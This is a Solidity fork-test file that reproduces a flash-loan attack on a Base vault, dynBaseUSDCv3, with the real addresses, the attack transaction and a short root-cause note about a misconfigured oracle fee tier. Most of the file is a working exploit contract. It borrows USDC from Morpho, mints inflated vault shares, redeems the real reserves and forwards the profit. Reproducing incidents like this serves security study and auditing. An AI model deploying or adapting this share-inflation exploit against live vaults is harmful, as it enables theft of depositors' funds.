src/test/2026-04/SingularityDynaVault_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 413.13K USDC plus residual vault shares
8// Attacker : 0x5c2cbe53f2ce1b58532d4985a9b9d3db87d3af4c
9// Attack Contract : 0x9ad48257024f8cd3ab7fde97c95950159fcaefae
10// Vulnerable Contract : 0x67b93f6676bd1911c5fae7ffa90fff5f35e14dcd
11// Victim : 0x67b93f6676bd1911c5fae7ffa90fff5f35e14dcd
12// Attack Tx : https://basescan.org/tx/0x00b949bc3ed3edb58b04faedfbd8eb1db2edceae761382e80fe012919f8d3732
13 
14// @Info
15// Vulnerable Contract Code : https://basescan.org/address/0x67b93f6676bd1911c5fae7ffa90fff5f35e14dcd#code
16// Oracle Dependency : https://basescan.org/address/0x73b8c192bfc323c3ea224c88219d55dfc319e89f
17 
18// @Analysis
19// Twitter Guy : https://x.com/DefimonAlerts/status/2048698708309705069
20//
21// dynBaseUSDCv3 priced non-USDC reserves through an oracle path configured with Uniswap V3 fee tier 42.
22// The direct pools did not exist and the fallback token/WETH pools had zero liquidity, so totalAssets()
23// only counted the idle USDC. The attacker deposited flash-loaned USDC, minted almost all vault shares,
24// redeemed a proportional basket of the real reserves, repaid Morpho, and forwarded the residual assets.
25 
26address constant ATTACKER = 0x5C2cbe53f2CE1b58532D4985A9b9d3db87d3Af4c;
27address constant PROFIT_RECEIVER = 0x25C08505b6c5Eba2D6C5d97c9E9a7F5f58d9A079;
28address constant DYNA_VAULT = 0x67b93f6676bd1911c5FAe7Ffa90fFf5f35E14dCd;
29address constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
30address constant USDC_TOKEN = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
31address constant ZERO_LIQUIDITY_VAULT_A = 0x0FF79b6D6c0FB5faf54BD26db5Ce97062A105f81;
32address constant META_MORPHO_VAULT_A = 0x3094b241AaDe60F91f1c82b0628A10d9501462F9;
33address constant META_MORPHO_VAULT_B = 0xC8adBFCFaC975583c8684C4e12633907315Ca610;
34address constant META_MORPHO_VAULT_C = 0xEbC997B855B9a4E0b6cd06E4758801E6Ff068e07;
35address constant RESIDUAL_VAULT_TOKEN = 0xee05dbdcAf0CA060b973D5FC5B31e9B8327EDB39;
36 
37interface IDynaVault is IERC4626 {
38    function redeemProportional(
39        uint256 shares,
40        address receiver,
41        address owner
42    ) external returns (uint256[] memory);
43}
44 
45contract ContractTest is BaseTestWithBalanceLog {
46    IERC20 private constant usdc = IERC20(USDC_TOKEN);
47 
48    function setUp() public {
49        uint256 forkBlock = 45_183_966;
50        uint256 attackBlock = 45_183_967;
51        uint256 attackTimestamp = 1_777_157_281;
52 
53        vm.createSelectFork("base", forkBlock);
54        vm.roll(attackBlock);
55        vm.warp(attackTimestamp);
56 
57        fundingToken = USDC_TOKEN;
58        attacker = PROFIT_RECEIVER;
59 
60        vm.label(ATTACKER, "Attacker EOA");
61        vm.label(PROFIT_RECEIVER, "Profit Receiver");
62        vm.label(DYNA_VAULT, "dynBaseUSDCv3");
63        vm.label(MORPHO, "Morpho");
64        vm.label(USDC_TOKEN, "USDC");
65        vm.label(ZERO_LIQUIDITY_VAULT_A, "Redeemed Vault Token A");
66        vm.label(META_MORPHO_VAULT_A, "MetaMorpho Vault A");
67        vm.label(META_MORPHO_VAULT_B, "MetaMorpho Vault B");
68        vm.label(META_MORPHO_VAULT_C, "MetaMorpho Vault C");
69        vm.label(RESIDUAL_VAULT_TOKEN, "Residual Vault Token");
70    }
71 
72    function testExploit() public balanceLog {
73        uint256 flashAmount = 100_000_000_000;
74        uint256 minUsdcProfit = 300_000_000_000;
75        uint256 inflatedShareFloor = 420_000 ether;
76        uint256 usdcProfitFloor = 413_000_000_000;
77        uint256 residualMetaVaultFloor = 31_000 ether;
78        uint256 receiverUsdcBefore = usdc.balanceOf(PROFIT_RECEIVER);
79        uint256 receiverMetaVaultBefore = IERC20(META_MORPHO_VAULT_A).balanceOf(PROFIT_RECEIVER);
80 
81        SingularityDynaVaultAttack attack = new SingularityDynaVaultAttack(PROFIT_RECEIVER);
82        vm.label(address(attack), "Local Attack Contract");
83 
84        // step 1: attacker starts the same flash-loan-funded vault share inflation path.
85        vm.prank(ATTACKER);
86        attack.execute(flashAmount, minUsdcProfit);
87 
88        uint256 usdcProfit = usdc.balanceOf(PROFIT_RECEIVER) - receiverUsdcBefore;
89        uint256 residualMetaVaultProfit =
90            IERC20(META_MORPHO_VAULT_A).balanceOf(PROFIT_RECEIVER) - receiverMetaVaultBefore;
91 
92        emit log_named_decimal_uint("Inflated dynBaseUSDCv3 Shares Minted", attack.mintedShares(), 18);
93        logTokenBalance(USDC_TOKEN, PROFIT_RECEIVER, "Profit Receiver Final");
94 
95        assertGt(attack.mintedShares(), inflatedShareFloor, "deposit minted inflated vault shares");
96        assertGt(usdcProfit, usdcProfitFloor, "USDC profit after flash-loan repayment");
97        assertGt(residualMetaVaultProfit, residualMetaVaultFloor, "residual MetaMorpho shares forwarded");
98        assertEq(usdc.balanceOf(address(attack)), 0, "attack helper forwarded USDC");
99        assertEq(IERC20(META_MORPHO_VAULT_A).balanceOf(address(attack)), 0, "attack helper forwarded shares");
100    }
101}
102 
103contract SingularityDynaVaultAttack {
104    address private immutable profitReceiver;
105    uint256 public mintedShares;
106 
107    IERC20 private constant usdc = IERC20(USDC_TOKEN);
108    IMorphoBuleFlashLoan private constant morpho = IMorphoBuleFlashLoan(MORPHO);
109    IDynaVault private constant dynaVault = IDynaVault(DYNA_VAULT);
110 
111    address[5] private redeemableVaultTokens =
112        [ZERO_LIQUIDITY_VAULT_A, META_MORPHO_VAULT_A, META_MORPHO_VAULT_B, META_MORPHO_VAULT_C, RESIDUAL_VAULT_TOKEN];
113 
114    constructor(
115        address profitReceiver_
116    ) {
117        profitReceiver = profitReceiver_;
118    }
119 
120    function execute(
121        uint256 flashAmount,
122        uint256 minUsdcProfit
123    ) external {
124        uint256 receiverUsdcBefore = usdc.balanceOf(profitReceiver);
125 
126        // step 2: borrow USDC from Morpho and let the callback perform the vault deposit/redeem sequence.
127        morpho.flashLoan(USDC_TOKEN, flashAmount, abi.encode(minUsdcProfit));
128 
129        // step 3: match the final profit path by forwarding every residual balance to the traced receiver.
130        _forwardToken(USDC_TOKEN);
131        for (uint256 i; i < redeemableVaultTokens.length; ++i) {
132            _forwardToken(redeemableVaultTokens[i]);
133        }
134 
135        require(usdc.balanceOf(profitReceiver) - receiverUsdcBefore >= minUsdcProfit, "profit below trace guard");
136    }
137 
138    function onMorphoFlashLoan(
139        uint256 assets,
140        bytes calldata data
141    ) external {
142        require(msg.sender == MORPHO, "only Morpho");
143        uint256 minUsdcProfit = abi.decode(data, (uint256));
144 
145        // step 4: deposit the flash-loaned USDC while totalAssets only reports the idle USDC balance.
146        usdc.approve(DYNA_VAULT, assets);
147        mintedShares = dynaVault.deposit(assets, address(this));
148 
149        // step 5: redeem the inflated share position for a proportional basket of the vault's actual reserves.
150        dynaVault.redeemProportional(mintedShares, address(this), address(this));
151 
152        // step 6: convert received ERC4626-like vault shares back into USDC where the trace shows maxRedeem > 0.
153        for (uint256 i; i < redeemableVaultTokens.length; ++i) {
154            _redeemAvailableShares(redeemableVaultTokens[i]);
155        }
156 
157        // step 7: approve Morpho to pull the flash-loan principal after the callback returns.
158        require(usdc.balanceOf(address(this)) >= assets + minUsdcProfit, "callback proceeds below guard");
159        usdc.approve(MORPHO, assets);
160    }
161 
162    function _redeemAvailableShares(
163        address vaultToken
164    ) private {
165        uint256 shares = IERC4626(vaultToken).maxRedeem(address(this));
166        if (shares != 0) {
167            IERC4626(vaultToken).redeem(shares, address(this), address(this));
168        }
169    }
170 
171    function _forwardToken(
172        address token
173    ) private {
174        uint256 balance = IERC20(token).balanceOf(address(this));
175        if (balance != 0) {
176            IERC20(token).transfer(profitReceiver, balance);
177        }
178    }
179}